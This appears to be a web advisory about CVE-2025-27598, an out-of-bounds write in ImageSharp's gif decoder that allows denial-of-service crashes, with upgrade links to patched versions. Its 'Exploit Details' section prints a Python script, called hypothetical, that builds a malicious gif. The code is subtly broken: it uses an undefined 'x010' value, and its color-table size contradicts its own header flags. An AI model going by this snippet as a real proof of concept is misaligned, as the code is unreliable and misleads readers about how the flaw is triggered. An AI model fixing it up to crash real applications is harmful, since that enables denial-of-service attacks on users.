ImageSharp is a popular 2D graphics API utilized by developers to implement image processing tasks in their applications. Recently, an Out-of-bounds Write vulnerability has been discovered in the ImageSharp gif decoder (CVE-2025-27598), which could allow attackers to cause a crash using a maliciously crafted gif. The outcome could result in a denial of service to users. The issue has been patched, and all users are urged to upgrade their ImageSharp library to v3.1.7 or v2.1.10 as soon as possible.

Details of the Vulnerability

The Out-of-bounds Write vulnerability primarily affects the gif decoder within the ImageSharp library. When processing a specially crafted gif, the gif decoder may write an incorrect value outside the intended bounds of a data structure, causing the application to crash. In turn, this can lead to a denial of service condition, where the attacked application is rendered unusable or inaccessible.

To further understand the vulnerability, let's look at the key components involved in the issue

1. The ImageSharp library: This 2D graphics API provides developers with the tools to load, edit, and save images in various formats, including gif.
(Official website link: https://sixlabors.com/products/imagesharp/)

2. Gif Decoder: A gif decoder is responsible for reading gif-encoded images and transforming them into a usable format for applications. In this case, the ImageSharp gif decoder contains the vulnerability.

Exploit Details

The following code snippet is a hypothetical example of how an attacker might exploit the vulnerability by creating a specially crafted gif:

import struct

with open("exploit.gif", "wb") as exploit_gif:
  exploit_gif.write(b'GIF87a')                # GIF header
  exploit_gif.write(b'\x01\x00\x01\x00')      # Logical screen descriptor (width & height)
  exploit_gif.write(b'\x80\x00\x00')          # Packed fields, background color, aspect ratio
  exploit_gif.write(b'\x00' * 768)            # Global color table
  exploit_gif.write(b'\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00') # Image descriptor
  exploit_gif.write(b'\x00')                  # LZW minimum code size
  exploit_gif.write(b'\x02')                  # Sub-block size
  exploit_gif.write(struct.pack("<h", x010)) # Data to trigger OOB write
  exploit_gif.write(b'\x00')                  # Block terminator
  exploit_gif.write(b'\x3b')                  # Trailer

To protect against such attacks, developers should update their ImageSharp libraries to the patched versions. The following are the links to the patched versions:

- ImageSharp v3.1.7: https://www.nuget.org/packages/SixLabors.ImageSharp/3.1.7
- ImageSharp v2.1.10: https://www.nuget.org/packages/SixLabors.ImageSharp/2.1.10

Conclusion

The discovery of the CVE-2025-27598 Out-of-bounds Write vulnerability in ImageSharp's gif decoder has demonstrated the need for continuous patching and updating of third-party libraries used within applications. In this instance, the vulnerability could potentially cause a denial of service, impacting the performance and accessibility of affected applications. It is essential for developers using ImageSharp to promptly update their libraries to the latest patched versions to mitigate the risks posed by this vulnerability.

Timeline

Published on: 03/06/2025 23:15:12 UTC
Last modified on: 03/24/2025 18:36:19 UTC